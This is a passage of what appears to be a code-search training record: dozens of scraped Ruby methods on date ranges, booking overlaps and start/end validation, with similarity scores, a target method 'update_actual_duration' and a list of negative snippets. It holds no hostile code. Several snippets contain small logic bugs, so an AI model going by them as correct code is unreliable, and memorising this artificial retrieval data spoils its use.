"def end_date_after_start_date\n if start_date && end_date && end_date < start_date\n errors.add :end_date, \"must be after the start date\"\n errors.add :start_date, \"must be before the end date\"\n end\n end",
"def overlaps?(other)\n \t((start_date - other.end_date) * (other.start_date - end_date)) >= 0\n \tend",
"def cover?(other_period)\n inside?(other_period.starts_at) || inside?(other_period.ends_at)\n end",
"def between_dates(start, finish)\n start = start.chronify(guess: :begin, future: false) if start.is_a?(String)\n finish = finish.chronify(guess: :end) if finish.is_a?(String)\n WWID.new.filter_items(self, opt: { date_filter: [start, finish] })\n end",
"def start_must_be_before_end_date\n unless active_start_date.nil? or active_stop_date.nil?\n errors.add(:active_date, \"Start date must be before stop date\") unless\n active_start_date < active_stop_date\n end\n end",
"def start_must_be_before_end_date\n if(self.start_date && self.end_date)\n valid = self.start_date < self.end_date\n errors.add(:start_date, \"must be before end time\") unless valid\n end\n end",
"def start_must_be_before_end_date\n if(self.start_date && self.end_date)\n valid = self.start_date < self.end_date\n errors.add(:start_date, \"must be before end time\") unless valid\n end\n end",
"def date_consistency\n\t\treturn if [start_date.blank?, end_date.blank?].any?\n\t\terrors.add(:end_date, 'must be after start_date') if start_date > end_date\n\tend",
"def in_range(*args)\n opts = args.last.kind_of?(Hash) ? args.pop : {}\n limit = opts[:limit]\n count = 1\n t_start, t_end = args.first.kind_of?(Range) ? [args.first.first, args.first.last] : [args.first,args.last]\n\n raise ArgumentError, \"must be a range or two date/time objects\" unless t_start and t_end\n\n self.start = t_start\n\n @in_range ||= begin\n result = []\n loop do\n next!\n break if count > limit if limit\n break if to_date > t_end\n result << to_date\n count += 1\n end\n\n result\n end\n end",
"def day_range(rng=self)\n if rng.respond_to?(:exclude_end?) && rng.exclude_end?\n Range.new(rng.begin.to_date, rng.end.to_date, true)\n else\n Range.new(rng.begin.to_date, rng.end.to_date + 1, true)\n end\n end",
"def between_except(from:, to:, excepted:)\n raise ArgumentError, 'From date, to date and excepted date must not be the same' if from == to && to == excepted\n\n excepted = get_date_object(excepted)\n\n loop do\n date = between(from: from, to: to)\n break date.to_date if date != excepted\n end\n end",
"def availability(room_number, end_date, start_date)\n\n @reservations.each do |reservation|\n\n # i am trying to look throught all the reservation instances and\n # see what dates are available to reserve a reservation.\n\n if room_number == reservation.room_number && reservation.does_overlap(end_date,start_date)\n\n # if reservation.start_date == start_date && reservation.end_date == end_date\n # return false\n # elsif reservation.start_date > start_date && reservation.start_date < end_date\n # next #true\n # elsif reservation.start_date < start_date && reservation.start_date < end_date\n # next #true\n # elsif reservation.start_date > start_date && reservation.start_date > end_date\n # next #false , i think i need only\n # else\n # end\n\n\n\n\n\n end\n\n end\nend",
"def overlap?(new_start_date, new_end_date)\n return(start_date <= new_end_date && end_date >= new_start_date) \n end",
"def date_in_range?(first, date, last)\n first <= date && date <= last\n end",
"def restrict_date_range( objects )\n # set start_date to either passed param, or beginning of time\n start_date = params[:start_date].blank? ? Date.new(0) : Date.strptime(params[:start_date], \"%Y-%m-%d\")\n # set end_date to either passed param or now\n end_date = params[:end_date].blank? ? Date.today : Date.strptime(params[:end_date], \"%Y-%m-%d\")\n\n filtered = []\n objects.each do |obj|\n # apperantly things can have nil created_at\n if obj.created_at.blank?\n if params[:start_date].blank? && params[:end_date].blank?\n filtered += [obj]\n end\n elsif start_date <= obj.created_at.to_date && end_date >= obj.created_at.to_date\n filtered += [obj]\n end\n end\n return filtered\n end",
"def restrict_date_range( objects )\n # set start_date to either passed param, or beginning of time\n start_date = params[:start_date].blank? ? Date.new(0) : Date.strptime(params[:start_date], \"%Y-%m-%d\")\n # set end_date to either passed param or now\n end_date = params[:end_date].blank? ? Date.today : Date.strptime(params[:end_date], \"%Y-%m-%d\")\n\n filtered = []\n objects.each do |obj|\n # apperantly things can have nil created_at\n if obj.created_at.blank?\n if params[:start_date].blank? && params[:end_date].blank?\n filtered += [obj]\n end\n elsif start_date <= obj.created_at.to_date && end_date >= obj.created_at.to_date\n filtered += [obj]\n end\n end\n return filtered\n end",
"def restrict_date_range( objects )\n # set start_date to either passed param, or beginning of time\n start_date = params[:start_date].blank? ? Date.new(0) : Date.strptime(params[:start_date], \"%Y-%m-%d\")\n # set end_date to either passed param or now\n end_date = params[:end_date].blank? ? Date.today : Date.strptime(params[:end_date], \"%Y-%m-%d\")\n\n filtered = []\n objects.each do |obj|\n # apperantly things can have nil created_at\n if obj.created_at.blank?\n if params[:start_date].blank? && params[:end_date].blank?\n filtered += [obj]\n end\n elsif start_date <= obj.created_at.to_date && end_date >= obj.created_at.to_date\n filtered += [obj]\n end\n end\n return filtered\n end",
"def correct?\n starts_at < ends_at && starts_at.to_date == ends_at.to_date\n end",
"def end_date_after_start_date\n return if end_date.blank? || start_date.blank?\n if end_date < start_date\n errors.add(:end_date, 'must be after the start date.')\n end\n end",
"def check_dates\n if start_end_dates.count > 0 && !start_end_dates.nil?\n start_end_dates.each do |d|\n return true if d.check_date_ranges\n end\n\n false\n else\n true\n end\n end",
"def end_date_cannot_be_before_start_date\n\t\tif start_date.present? && end_date.present? && end_date < start_date\n\t\t\terrors.add(:end_date, \"cannot be before start date\")\n\t\tend\n\tend",
"def set_date_range(begin_date, end_date)\n @begin_date = begin_date.to_date\n @end_date = end_date.to_date\n end",
"def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end",
"def out_of_bounds?(date)\n date < @available_date_range[:min] || date > @available_date_range[:max]\n end",
"def validate_dates\n if start_at && end_at\n errors.add(:end_at, 'should be greater than start date') if end_at <= start_at\n end\n end",
"def valid_dates?\n if enddate && startdate && enddate <= startdate\n errors.add(:enddate, \"is before startdate\")\n end\n end",
"def same_date\n return unless start_at? && end_at?\n return unless start_at.to_date != end_at.to_date\n\n errors.add(:start_at, :same_date)\n errors.add(:end_at, :same_date)\n end",
"def available?(date_range)\n if reservations.length == 0\n return true\n end\n if reservations.any? {|r| r.overlap?(date_range)}\n return false\n else\n return true\n end\n end",
"def valid_end_date?\n if @end_date >= @start_date\n return true\n else\n return [false, \"Start date must be before end date\"]\n end\nend",
"def availability?(start_date, end_date)\n start_date = Date.parse(start_date)\n end_date = Date.parse(end_date)\n bookings = self.get_bookings(id: self.id)\n if bookings.length > 0\n bookings.each do |booking|\n if (start_date > booking.start_date && start_date < booking.end_date) || (end_date > booking.start_date && end_date < booking.end_date)\n false\n end\n end\n true\n end\n end",
"def items_between(start_date, end_date, opts={})\n items do |obj|\n obj.restriction = { :and =>\n [\n {:is_greater_than_or_equal_to =>\n [\n {:field_uRI => {:field_uRI=>'item:DateTimeReceived'}},\n {:field_uRI_or_constant=>{:constant => {:value =>start_date}}}\n ]\n },\n {:is_less_than_or_equal_to =>\n [\n {:field_uRI => {:field_uRI=>'item:DateTimeReceived'}},\n {:field_uRI_or_constant=>{:constant => {:value =>end_date}}}\n ]\n }\n ]\n }\n end\n end",
"def include?(date)\n date >= start_date && date < self.next.date\n end",
"def insurance_dates_validator\n errors.add(:end_date, 'cannot be before start date.') if start_date > end_date\n end",
"def include?(new_date)\n return start_date <= new_date && end_date > new_date\n end",
"def all_dates\n return (@start_date...@end_date).to_a\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def end_date_after_start_date\n\t\tif end_date < start_date\n\t\t\terrors.add :end_date, \"Must be after Start Date\"\n\t\tend\n\tend",
"def virtually_over?\n end_date < Date.today\n end",
"def available?(span_start, span_end)\n if span_start.class != Date \n start_date = Date.parse(span_start) \n else \n start_date = span_start\n end\n if span_end.class != Date\n end_date = Date.parse(span_end)\n else\n end_date = span_end\n end\n if self.reservations.any?{ |reservation| reservation.checkout > start_date && reservation.checkout < end_date || reservation.checkin > start_date && reservation.checkout < end_date || reservation.checkin > start_date && reservation.checkin < end_date } === false\n return true\n else \n false\n end\n end",
"def overlap?(input_range)\n a = self.start_date >= input_range.end_date\n b = self.end_date <= input_range.start_date\n return a || b ? false : true \n end",
"def for_date_range(beginning:, ending:)\n new_with_date_range(beginning, ending)\n end",
"def check_end_date\n # if self.category.eql?(\"appointment\")\n unless self.start_date.nil? or self.end_date.nil?\n if (self.end_date < self.start_date)\n self.category.eql?(\"appointment\")? self.errors.add(' ', 'End Date can\\'t be before Start Date') : self.errors.add(' ', 'Due Date can\\'t be before Start Date')\n end\n if self.end_date == self.start_date\n self.errors.add(' ', 'End Time can not be before start time') if (self.end_date.to_time < self.start_date.to_time)\n end\n end\n # end\n end",
"def date_within(d)\n\t\treturn (start_date <= d) && (d <= stop_date)\n\tend",
"def overlapping_dates\n reservation = Reservation.find(params[:id])\n space = reservation.space\n\n start_date = reservation.start_date.to_date\n end_date = reservation.end_date.to_date\n\n confirmed_bookings = space.reservations.where(approved: true)\n\n check = confirmed_bookings.where('? <= DATE(start_date) AND DATE(end_date) <= ?', start_date, end_date)\n return unless check.any?\n\n flash[:danger] = 'You already confirmed another booking request with overlapping dates.'\n redirect_to your_reservations_path\n end",
"def is_available_between(start_date, end_date)\n number_of_booking = self.bookings.where('(? <= bookings.start_date AND bookings.start_date <= ?)\n OR (? <= bookings.end_date AND bookings.end_date <= ?)\n OR (bookings.start_date <= ? AND ? <= bookings.end_date)\n OR (bookings.start_date <= ? AND ? <= bookings.end_date)',\n start_date, end_date, start_date, end_date, start_date, start_date, end_date, end_date).count\n\n return number_of_booking <= 0\n end",
"def ==(other)\n other.class == self.class &&\n other.start_date == @start_date &&\n other.end_date == @end_date\n end",
"def active_between\n if self.active\n # If active, end date is now and start date is recent :resume or :initial\n end_date = Time.zone.now\n start_date = standing_events.where.any_of({type: :initial}, {type: :resume}).where(parent_id: nil).order(:created_at).last.created_at\n return start_date, end_date\n else\n # If inactive, end date is recent :retire and start date is prior :resume or :initial\n end_date = standing_events.where(type: :retire).order(:created_at).last.created_at\n start_date = standing_events.where(\"#{StandingEvent.table_name}.created-at < ?\", end_date).any_of({type: :initial}, {type: :resume}).where(parent_id: nil).order(:created_at).last.created_at\n return start_date, end_date\n end\n end",
"def report_range(start_date, end_date)\n @start_date = start_date\n @end_date = end_date\n end",
"def intersection_with(other)\n r1,r2 = matched_range_types(self, other)\n max_begin = [r1.begin,r2.begin].max\n min_end = [r1.end, r2.end ].min\n excl = ( r1.end == min_end && \n r1.respond_to?(:exclude_end?) && r1.exclude_end?\n ) ||\n ( r2.end == min_end && \n r2.respond_to?(:exclude_end?) && r2.exclude_end?\n )\n unless max_begin > min_end\n Range.new(max_begin, min_end, excl).extend(DateTimeRange)\n end\n end",
"def exclude_end?\n @ranges.size == 1 ? @ranges[0].exclude_end? : nil\n end",
"def active?\n start_date <= Date.today and finish_date >= Date.today\n end"
] | [
"0.78410435",
"0.690698",
"0.6839143",
"0.68173516",
"0.6727593",
"0.6537028",
"0.6530289",
"0.6521437",
"0.6519329",
"0.6516437",
"0.6489042",
"0.64759374",
"0.6449955",
"0.6425027",
"0.6409822",
"0.63950634",
"0.6375876",
"0.6362318",
"0.6336301",
"0.63312376",
"0.6306568",
"0.62999034",
"0.628875",
"0.6276898",
"0.62711984",
"0.6257154",
"0.62494963",
"0.6240194",
"0.6220484",
"0.621274",
"0.6201203",
"0.6199004",
"0.6197568",
"0.6196476",
"0.6175101",
"0.6172989",
"0.61491936",
"0.6148921",
"0.6140866",
"0.61321384",
"0.6125563",
"0.6113707",
"0.6111351",
"0.61080736",
"0.61071837",
"0.61037546",
"0.60950863",
"0.608661",
"0.6074277",
"0.60722953",
"0.6027768",
"0.6017507",
"0.6015579",
"0.6011429",
"0.6011429",
"0.5997866",
"0.59977585",
"0.5995364",
"0.5991973",
"0.5990392",
"0.5984572",
"0.59736145",
"0.5973117",
"0.5973117",
"0.5973117",
"0.59501266",
"0.5940369",
"0.5939675",
"0.59268",
"0.5923744",
"0.59210896",
"0.59160995",
"0.5912921",
"0.5907703",
"0.59073913",
"0.59049606",
"0.5898873",
"0.5897777",
"0.5895178",
"0.588922",
"0.58785963",
"0.5873569",
"0.58535576",
"0.58481336",
"0.58481336",
"0.58481336",
"0.5845284",
"0.5835162",
"0.58269495",
"0.58243144",
"0.58222896",
"0.5815812",
"0.58089507",
"0.5808058",
"0.5805089",
"0.58021885",
"0.57947135",
"0.57914513",
"0.5791152",
"0.5790612",
"0.57792115"
] | 0.0 | -1 |
Exclusive of the today, inclusive of the startDate | def update_actual_duration
self.actual_duration = Date.today - self.startDate
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def starts_today\n all.select {|event| event.starts == (@date_for_test || Date.today)}\n end",
"def current?\n (start_date..end_date).cover?(Date.today)\n end",
"def current?\n start_date = DateTime.new(self.year, 6, 21)\n # end_date should be one year after the start_date\n end_date = DateTime.new(self.year + 1, 6, 20) # 21?\n\n start_date <= DateTime.now and DateTime.now <= end_date\n end",
"def today_in_time_range(date)\n start_date = date.date_start\n end_date = date.date_end\n today = Time.zone.now.beginning_of_day\n\n # return start date if there is no end date\n return start_date if end_date.blank?\n\n # return start date if the end date is in the past\n return start_date if end_date < today\n\n # return \"today\" if there is a future end date\n today.to_date\n end",
"def current?\n (!start_date.nil? && start_date <= Date.today) && (end_date.nil? || end_date >= Date.today)\n end",
"def now?\n start_date <= Time.now and end_date >= Time.now\n end",
"def is_current_at?(evaluation_date = Date.today)\n get_begin_date <= evaluation_date && get_end_date >= evaluation_date\n end",
"def today?\n today = Time.zone.today\n ((date.present? && date == today) ||\n (week_days.include? today.strftime('%A'))\n ) && start_at > time_now\n end",
"def past?\n start_date < Time.now\n end",
"def date_restricted?\n\n now = Date.today\n\n !((valid_from.nil? or now >= valid_from) and (valid_until.nil? or now <= valid_until))\n\n end",
"def today?\n @date == Date.today\n end",
"def check_start_date\n if self.current_state == 3\n if self.starts_at.blank?\n self.starts_at = Date.today\n else\n if self.starts_at > Date.today\n self.starts_at = Date.today\n end\n end\n end\n end",
"def today(options={})\n today = Time.now\n\n between(today.beginning_of_day.to_i, today.end_of_day.to_i, options)\n end",
"def active?(date=Time.now)\n date < self.end_date && date > self.start_date\n end",
"def normalize_start_date\n self.start_date ||= Time.zone.now\n if self.start_date.to_date == Date.today\n self.start_date = Time.zone.now\n end\n self.start_date += 1.year if self.start_date < Date.today\n true\n end",
"def active\n today = Date.today\n before = (start_date <=> today) == 1\n after = (today <=> end_date) == 1\n\n outside_range = (before or after)\n no_dates = (start_date.nil? and end_date.nil?)\n\n (!outside_range or no_dates)\n end",
"def virtually_over?\n end_date < Date.today\n end",
"def pending?\n start_date > Date.today\n end",
"def upcoming?\n (start_date > Date.today)\n end",
"def send_today?\n day_today = (Date.today - @config['start_date']).round\n (day_today % 28) < 21\nend",
"def active?\n start_date <= Date.today and finish_date >= Date.today\n end",
"def upcoming?(date=Time.now)\n date < self.start_date\n end",
"def starts_tomorrow?\n future? && starts_at < site(:course_check_interval).since\n end",
"def this_day(record)\n record.date == Date.today\n end",
"def open\n return start_date <= Time.now.to_date && end_date >= Time.now.to_date\n end",
"def today(sg=nil)\n super()\n end",
"def past?\n (end_date < Date.today)\n end",
"def current?\n\t\t!start_date.nil? && (end_date.nil? || end_date > Date.today)\n\tend",
"def today?\n to_date == ::Date.current\n end",
"def current_period_start_date\n Date.new(Date.today.year, Date.today.month, current_day_start_date)\n end",
"def active?\n (start_date <= DateTime.now) and (DateTime.now <= end_date)\n end",
"def today?\n created_at.to_datetime >= DateTime.now.beginning_of_day\n end",
"def ends_today\n all.select {|event| event.ends == (@date_for_test || Date.today)}\n end",
"def finished\n self.date.present? && (self.date < Date.today)\n end",
"def date_today?\n @today\n end",
"def today?\n time.today?\n end",
"def on_sale\n all.select {|event| (event.starts..event.ends) === (@date_for_test || Date.today)}\n end",
"def include?(date)\n date >= start_date && date < self.next.date\n end",
"def future?\n start_date.future?\n end",
"def today\n \"today\" if @date == Date.today\n end",
"def one_day?\n @start_date == @end_date\n end",
"def made_today?\n reservation_on_day?(\"created_at_day\", Time.zone.now.strftime('%Y-%m-%d'))\n end",
"def today?\n self == ZDate.new\n end",
"def dt_start\n @current_date.clone if @current_date\n end",
"def override_all_day_based_on_duration\n starts_on = starts_at.to_date\n ends_on = ends_at.to_date\n if starts_on != ends_on\n self.all_day = true\n end\n true\n end",
"def range\n (start_date...end_date) #exclusive date range\n end",
"def overdue\n @date > Date.today\n end",
"def same_day?\n start_date == end_date\n end",
"def past_start_date\n past_start_date = Time.zone.today - 6.days\n past_start_date < charge_start_date ? charge_start_date : past_start_date\n end",
"def has_valid_date?\n self.time_event < Time.now.advance(days: 1)\n end",
"def keep_days\n today = Time.new.strftime('%Y%m%d')\n from_date = Date.parse today\n to_date = (from_date + 1) - @keep_days.to_i # +1 added to from_date to exclude the last day from range\n\n kept_days = (to_date..from_date).map { |date| date.strftime('%Y%m%d') }.sort\n end",
"def today\n time = Time.now.in_time_zone(tz)\n time.beginning_of_day..(time.end_of_day + 1)\n end",
"def determine_end_date\n self.end_date = start_date.next_month.yesterday\n end",
"def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end",
"def current_date_active\n if self.active_start_date.nil? or self.active_stop_date.nil?\n return false\n end\n \n # get the current time\n current_time = Time.now\n \n if self.active_start_date <= current_time and self.active_stop_date >= current_time\n return true\n else\n return false\n end\n \n return false\n end",
"def start_date\n @start_date ||= Date.today - Date.today.wday - 7 * 52\nend",
"def due_today?\n @due_date == Date.today\n end",
"def due_today?\n @date == Date.today.to_s\n end",
"def new?\n available_on + 1.month >= Time.zone.today ? true : false\n rescue\n false\n end",
"def in_past?\n\t\tstart_date < Time.now\n\tend",
"def checkin_at_after_or_on_today\n return if dates_blank \n if checkin_at < Date.today\n self.errors.add(:checkin_at, \": Should be greater than or equal to today's date\")\n end\n end",
"def today\n @date\n # Date.today\n end",
"def expired?\n !expiration_date || expiration_date <= Date.today\n end",
"def not_in_past\n return unless due_date < Time.zone.today || start_date < Time.zone.today\n errors.add(:base, \"Cannot create reservation in the past.\\n\")\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def schedulable?(start_date, end_date)\n !scheduled?(start_date - lead_days, end_date)\n end",
"def available_today?(date)\n raise 'Date must be a String or Date object' unless(date.is_a?(String) || date.is_a?(Date))\n date = Date.strptime(date, '%Y-%m-%d') if date.is_a?(String)\n Date.current >= date\n end",
"def start_time\n Date.today\n end",
"def current?\n end_date.nil?\n end",
"def next_date\n next_observance.try(:start_on) || 100.years.from_now.to_date\n end",
"def d_day_notice\n charge_start_date.between?(Time.zone.today - 6.days, Time.zone.today)\n end",
"def in_force?\n if self.effective_date.nil?\n false\n elsif self.termination_date.nil?\n Date.today >= effective_date\n else\n Date.today >= effective_date and Date.today < termination_date\n end\n end",
"def due_today\n @due_date_task_list.select { |duedatetask| (duedatetask.status == \"incomplete\") && (duedatetask.due_date == Date.today) }\n end",
"def reiwa?\n Date.new(2019, 5, 1) <= self\n end",
"def future from=7.days\n schedules.where(:when.gte => from.from_now)\n end",
"def overdue?\n Date.today > to_date\n end",
"def future?\n Date.today <= finish\n end",
"def active?\n today = Time.now.strftime('%Y-%m-%d %H:%M')\n today >= self.begin_date.strftime('%Y-%m-%d 06:00') && today <= self.end_date.strftime('%Y-%m-%d 23:59')\nend",
"def same_day?\r\n start_date? && event_start_date == event_end_date\r\n end",
"def available?\n (!self.available_on.nil? && self.available_on <= Date.today)\n end",
"def check_no_delay_requirements(date)\n return true unless release_no_delay?\n date == Time.zone.today\n end",
"def today\n t = DateTime.now\n return Date.new(t.year, t.month, t.day)\n end",
"def now!\n self.date = Date.today\n end",
"def expired?(range: :now)\n return false unless persisted?\n return false if cancelled? || archived? || complete?\n case range\n when :all\n !!(start_date <= Time.now && end_date <= Time.now)\n else\n !!(start_date <= Time.now)\n end\n end",
"def past?\n due_on < Date.today\n end",
"def tomorrows_date\n Date.today + 1.day\n end",
"def check_start_date\n self.start_date = Date.current.beginning_of_month.next_month if start_date.nil?\n end",
"def soon range=4.days\n schedules.where(:when.lte => range.from_now)\n end",
"def run_exclusion(date)\n case @schedule.exclusion_met\n when 'next'\n return date + ((@schedule.exclusion_met_day - date.wday) % 7)\n when 'previous'\n return date - ((date.wday - @schedule.exclusion_met_day) % 7)\n when 'cancel'\n return run_cancel_exclusion(date)\n end\n\n return date\n end",
"def in_renewal_span?\n (0..7).include?(end_date.to_date - Time.zone.now.to_date)\n end",
"def check_dates\n # TODO the init_time must be less then the end_time\n true\n end",
"def due_today?\n due_date == Date.due_today\n end",
"def is_active\n\t\tself.active and self.start_date <= Date.today and self.end_date >= Date.today\n\tend",
"def check_appointment_date\n if date < Date.today\n errors.add(:appointment_date, \"can't be in the past\")\n end\n end",
"def valid_dates\n device_request = DeviceRequest.find(device_request_id)\n current_date = Date.today\n if self.on_date.present?\n self.errors.add :on_date, \"Quotation date can't be future\" if self.on_date > current_date\n self.errors.add :on_date, \"Quotation date should be onwards #{device_request.on_date}\" if self.on_date < device_request.on_date\n end\n end",
"def is_today?\r\n @at.strftime(\"%Y%m%d\") == DateTime.now.strftime(\"%Y%m%d\")\r\n end",
"def check_date_ranges\n today = Date.today\n !!today.between?(start_date.to_date, end_date.to_date)\n end",
"def expired?(expiration_date)\n Date.today.beginning_of_day >= expiration_date.beginning_of_day\n end",
"def expire_date_for_start_date(start_date)\n start_date + 1.year - 1.day\n end",
"def past(opts={}, now = Time.now.utc)\n all({:start.lt => now}.merge(opts))\n end"
] | [
"0.7086062",
"0.6642049",
"0.6635948",
"0.6569224",
"0.6550649",
"0.65070677",
"0.64305747",
"0.6423937",
"0.64064544",
"0.63947463",
"0.6384243",
"0.63804346",
"0.63712466",
"0.63590693",
"0.6357017",
"0.6348037",
"0.6323479",
"0.6318441",
"0.62775224",
"0.6265414",
"0.6256907",
"0.6232554",
"0.6212863",
"0.6212152",
"0.62034154",
"0.61970115",
"0.61839116",
"0.6163864",
"0.61448264",
"0.6141048",
"0.6102493",
"0.6091182",
"0.60857546",
"0.60596067",
"0.60538375",
"0.6048097",
"0.60460365",
"0.60351664",
"0.60232383",
"0.60205114",
"0.6008458",
"0.60058504",
"0.598267",
"0.5938104",
"0.5936463",
"0.59315217",
"0.59193915",
"0.59088206",
"0.5908391",
"0.5907752",
"0.58597654",
"0.58477104",
"0.58416134",
"0.58342874",
"0.583218",
"0.58296",
"0.5824539",
"0.581884",
"0.5812429",
"0.5793611",
"0.57858324",
"0.57827103",
"0.57825273",
"0.57757854",
"0.57677597",
"0.57677597",
"0.57677597",
"0.5766988",
"0.5765385",
"0.57567304",
"0.5741634",
"0.5734762",
"0.5731367",
"0.5731115",
"0.5730894",
"0.5716711",
"0.5714859",
"0.5710243",
"0.5708809",
"0.5708707",
"0.5698856",
"0.56874573",
"0.5681467",
"0.5679069",
"0.56766164",
"0.5674738",
"0.5668684",
"0.5662398",
"0.5659596",
"0.564187",
"0.56377876",
"0.56330866",
"0.5627045",
"0.56235456",
"0.56205076",
"0.56167465",
"0.56145614",
"0.5613422",
"0.561103",
"0.5609512",
"0.56073564"
] | 0.0 | -1 |
TODO decide if this should be calculated from yearly_target_manp | def update_target_manp
manp = 0
self.activities.each do |activity|
manp += activity.targetManp
end
self.target_manp = manp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_year(year, bias); end",
"def buildYearMaxed \n maxYear = data_package.schemas[\"sca_e_projections_by_sd\"][\"maxYear\"]\n\n project.build_year > maxYear ? maxYear : project.build_year\n end",
"def adjusted_target_income\n (self.target_income * (years_to_retirement * self.avg_inflation_rate)) + self.target_income\n end",
"def w_year; end",
"def years_needed\n 30\n end",
"def year(input) = new_year(input).year - 621",
"def update_target_duration\n self.target_duration = self.endDate - self.startDate\n end",
"def targets\n ['Barn 0 - 14', 'Ung 15 - 24', 'Voksen 25 - 65', 'Eldre 65 +']\n end",
"def modeler_description\n return \"Checks year, start day of week, daylight savings, leap year, and timestep inputs and outputs\"\n end",
"def real_study_years\n if finished?\n end_date = finished_on.to_time\n elsif absolved?\n end_date = disert_theme.defense_passed_on.to_time\n else\n end_date = Time.now\n end\n return (end_date - enrolled_on.to_time).div(1.year) + 1\n end",
"def calc_def_mod_metal_powder(user, target)\n return 1 unless target.db_symbol == :ditto\n target.moveset.each do |move|\n return 1 if move.db_symbol == :transform && move.used\n end\n return 1.5\n end",
"def target_name\n team_name\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def target_idx\n @target_idx\n end",
"def make_targets\n if @set\n targets = @set and @set = nil\n return targets\n end\n en_tm_ga_mt\n end",
"def year_person? = unit == 'year-person'",
"def start_year\n Time.now.year - 75\n end",
"def apply_rule(rule, from_offset, to_offset, year); end",
"def apply_rule(rule, from_offset, to_offset, year); end",
"def max_le\n gclass.send(\"max_#{ssex}_life_expectancy\").years\n end",
"def target; end",
"def target; end",
"def target_minus\n api_get(API_MAP[:target_minus]).to_f\n end",
"def year() end",
"def aggressive(target)\n m = []\n\n url = URI.join(target.uri.to_s, \"READ_THIS_FIRST.txt\").to_s\n new_target = WhatWeb::Target.new(url)\n\n if /ExpressionEngine/.match?(new_target.body)\n m << { name: \"readthisfirst txt file\" }\n end\n\n url = URI.join(target.uri.to_s, \"system/updates/ee_logo.jpg\").to_s\n new_target = WhatWeb::Target.new(url)\n\n if (new_target.status == 200) && new_target.body =~ /JFIF/\n m << { name: \"ee_logo jpg\" }\n end\n\n m\n end",
"def raw_year\n start_on.year\n end",
"def target_def; target.name; end",
"def calculate_years(principal, interest, tax, desired)\n# principal amount\n year = 0\n while principal < desired\n year += 1\n income = principal * interest\n principal += income - income * tax\n end\n year\nend",
"def target_number_of_ama_hearings(time_period)\n decisions_in_days = (time_period.to_f / 1.year) * nonpriority_decisions_per_year\n (decisions_in_days * docket_proportions[:hearing]).round\n end",
"def cwyear\n end",
"def target\n unless defined?(@target)\n d = @data\n @target = SeqDesc.new(d[6], d[7], d[13], d[14], d[15], d[16],\n split_comma(d[20]), split_comma(d[22]))\n end\n @target\n end",
"def target_calculation (result_grid, target_string = '', dice_string)\n #Find the starting point for iterating over the grid arrays: the point where the target has been met\n target_success = target_string.count('S') - target_string.count('F')\n target_advantage = target_string.count('A') - target_string.count('T')\n # Failure and threat: Since you have to deal with 0 F/T targets as well as higher,\n # the failure target might have to chance, since 0-1 is -1 and that's terrible.\n target_failure = (0 > (target_success.abs - 1) ? 0 : (target_success.abs - 1))\n target_threat = (0 > (target_advantage.abs - 1) ? 0 : (target_advantage.abs - 1))\n target_triumph = target_string.count('R')\n target_despair = target_string.count('D')\n \n success_max, advantage_max, threat_max, failure_max, triumph_max, despair_max = dice_string_interpolation dice_string\n target_probability = 0\n \n if target_success >= 0\n result_grid[target_success..success_max].each do |result_success_line|\n if target_advantage >= 0\n result_success_line[target_advantage..advantage_max].each do |result_advantage_line|\n result_advantage_line[target_triumph..triumph_max].each do |result_triumph_line|\n result_triumph_line[target_despair..despair_max].each do |result_cell|\n #Success, Advantage Probability\n target_probability += result_cell\n end\n end\n end\n end\n # To make sure you don't double dip\n next if (threat_max == 0)\n if target_advantage <= 0\n result_success_line.reverse[target_threat..threat_max - 1].each do |result_threat_line|\n result_threat_line[target_triumph..triumph_max].each do |result_triumph_line|\n result_triumph_line[target_despair..despair_max].each do |result_cell|\n #Success, Threat Probability\n target_probability += result_cell\n end\n end\n end\n end\n end\n end\n if target_success <= 0\n result_grid.reverse[target_failure..failure_max - 1].each do |result_failure_line|\n # Making sure you don't double dip: Failure Version! Fence Posting.\n break if failure_max == 0\n if target_advantage >= 0\n result_failure_line[target_advantage..advantage_max].each do |result_advantage_line|\n result_advantage_line[target_triumph..triumph_max].each do |result_triumph_line|\n result_triumph_line[target_despair..despair_max].each do |result_cell|\n target_probability += result_cell\n end\n end\n end\n end\n # Threat\n next if threat_max == 0\n if target_advantage <= 0\n result_failure_line.reverse[target_threat..threat_max - 1].each do |result_threat_line|\n result_threat_line[target_triumph..triumph_max].each do |result_triumph_line|\n result_triumph_line[target_despair..despair_max].each do |result_cell|\n target_probability += result_cell\n end\n end\n end\n end\n end\n end\n return target_probability\nend",
"def year? = unit == 'year'",
"def years; self * YEAR; end",
"def year; end",
"def year; end",
"def transitions(year); end",
"def transitions(year); end",
"def year_to_month_rate_convert(apr_in_decimals, loan_duration)\n ((1 + (apr_in_decimals / loan_duration))**loan_duration) - 1\nend",
"def start_year\n Time.now.year - 18\n end",
"def refere_based_on_diput\n yy = self.starting_at.year\n mm = self.starting_at.month\n if yy >= 2000\n yy = yy - 2000\n end\n if yy > 1900\n yy = yy - 1900\n end\n diput = !self.subscriber.blank? ? self.subscriber.diput : self.client.diput\n (yy * 10000000000) + (mm * 100000000) + diput.to_i\n end",
"def target_name(id)\n case id\n when -2; Vocab::LastTarget\n when -1; Vocab::RandomTarget;\n else; sprintf(Vocab::Target, id+1); end\n end",
"def benchyear1\n @benchyear1 = @benchsubtotal3 + @benchmobilisation + @benchtupe\n end",
